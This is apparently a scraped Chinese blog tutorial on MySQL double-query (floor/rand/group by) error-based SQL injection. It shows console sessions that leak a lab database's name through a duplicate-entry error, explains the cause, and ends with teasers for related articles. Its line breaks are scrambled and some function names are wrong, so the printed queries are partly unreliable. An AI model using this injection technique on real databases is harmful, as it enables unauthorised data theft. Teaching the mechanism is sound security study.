雙查詢注入:它也是報錯注入的一種;
詳情請參考:
mysql>select (select
database
());+--
-------------------+
| (select
database()) |+--
-------------------+
| security |+--
-------------------+
1 row in
set (0.00 sec)
mysql>select concat((select
database
()));+--
---------------------------+
| concat((select
database())) |+--
---------------------------+
| security |+--
---------------------------+
1 row in
set (0.00 sec)
mysql>
select concat('
a','
b');
+-----------------+
| concat('a','b') |
+-----------------+
| ab |
+-----------------+
mysql>select
rand
();+
--------------------+
|rand() |+--
------------------+
|0.6080478007048814|+
--------------------+
注:rand函式是乙個隨機函式,所以每次出現的值不一樣;會出現0-1之間的值;
mysql>select
floor(rand()*2);
+-----------------+
|floor(rand()*
2) |+--
---------------+|1
|+-----------------+
注:floor函式是把小數進行取整;
mysql>select concat((select
database()),floor(rand()*
2)) as test from
informati
on_schema.tables
group
bytest;+--
---------+
| test |+--
---------+
| security0 |
| security1 |
接下來就看看一些爆破測試吧:
mysql>select
count(*),concat((select
database()),floor(rand()*
2)) as test from
information_schema.tables
group
bytest;+--
--------+-----------+
|count(*) | test |+--
--------+-----------+|33
| security0 ||49
| security1 |+--
--------+-----------+
2 rows in
set (0.00 sec)
mysql>select
count(*),concat((select
database()),floor(rand()*
2)) as test from
information_schema.tables
group
bytest;
error
1062 (23000): duplicate entry '
security0
'for
key'
group_key
'
我們get到資料了
最後的報錯是最重要的地方!重複的鍵值;那麼為什麼鍵值會重複呢,就是因為concat函式執行了兩次,因為concat是連線兩個隨機字串,當第二次執行的時候,有可能會出現與第一次鍵值重複的情況!那麼這種情況下,就會報錯!
也就是:
使用聚合函式,
group
by子句,並利用隨機函式產生錯誤執行時,由於涉及的隨機函式和聚合函式計算;
當在乙個聚合函式,比如count後面如果使用分組語句就會把查詢的一部分以錯誤形式顯示出來;因為concat函式執行兩次,比如select
database(),這樣就執行了兩次select database
,與後面的隨機函式鏈結在一起,可能會隨機重複,就會報錯;
當然大家不用問我mysql為啥會這樣!我也不懂
關於原理,經過我和小夥伴不懈努力終於搞定了
通過floor報錯的方法來爆資料的本質是group by語句的報錯。
group by語句報錯的原因是floor(random(0)*
2)的不確定性,即可能為0也可能為1(group
by key的原理是迴圈讀取資料的每一行,將結果儲存於臨時表中。讀取每一行的key時,如果key存在於臨時表中,則不在臨時表中則更新臨時表中的資料;如果該key不存在於臨時表中,則在臨時表中插入key所在行的資料。group
byfloor(random(0)*
2)出錯的原因是key是個隨機數,檢測臨時表中key是否存在時計算了一下floor(random(0)*
2)可能為0,如果此時臨時表只有key為1的行不存在key為0的行,那麼資料庫要將該條記錄插入臨時表,由於是隨機數,插時又要計算一下隨機值,此時floor(random(0)*
2)結果可能為1,就會導致插入時衝突而報錯。即檢測時和插入時兩次計算了隨機數的值。
結論是:當與臨時表裡面的值進行比較,如果不同,就插入,但是插入的時候又計算了一次,所以如果插入時計算的值與直接比較的值不一樣,則報錯!
具體原理參考:http:
2012/05
/15/mysql-sql-analyze.html)。
sql注入之雙查詢注入
子查詢可以理解在乙個select語句中再插入乙個select 裡面的select語句就是子查詢 例子 select concat select database 執行語句時,先從子查詢進行,先執行select database 再把結果傳入到concat函式 count 彙總資料函式 rand 隨機...
詳細講解雙查詢注入
我說雙查詢很難講清楚,這次就試著講一下。讀了一些原理性的東西。然後盡量通俗的給大家講清楚。在此之前,我們理解一下子查詢,查詢的關鍵字是select,這個大家都知道。子查詢可以簡單的理解在乙個select語句裡還有乙個select。裡面的這個select語句就是子查詢。看乙個簡單的例子 select ...
SQL注入雙括號報錯注入
1.sql注入攻擊指的是通過構建特殊的輸入作為引數傳入web應用程式,而這些輸入大都是sql語法裡的一些組合,通過執行sql語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。2.根據相關技術原理,sql注入可以分為平台層注入和 層注入。前者由不安全的...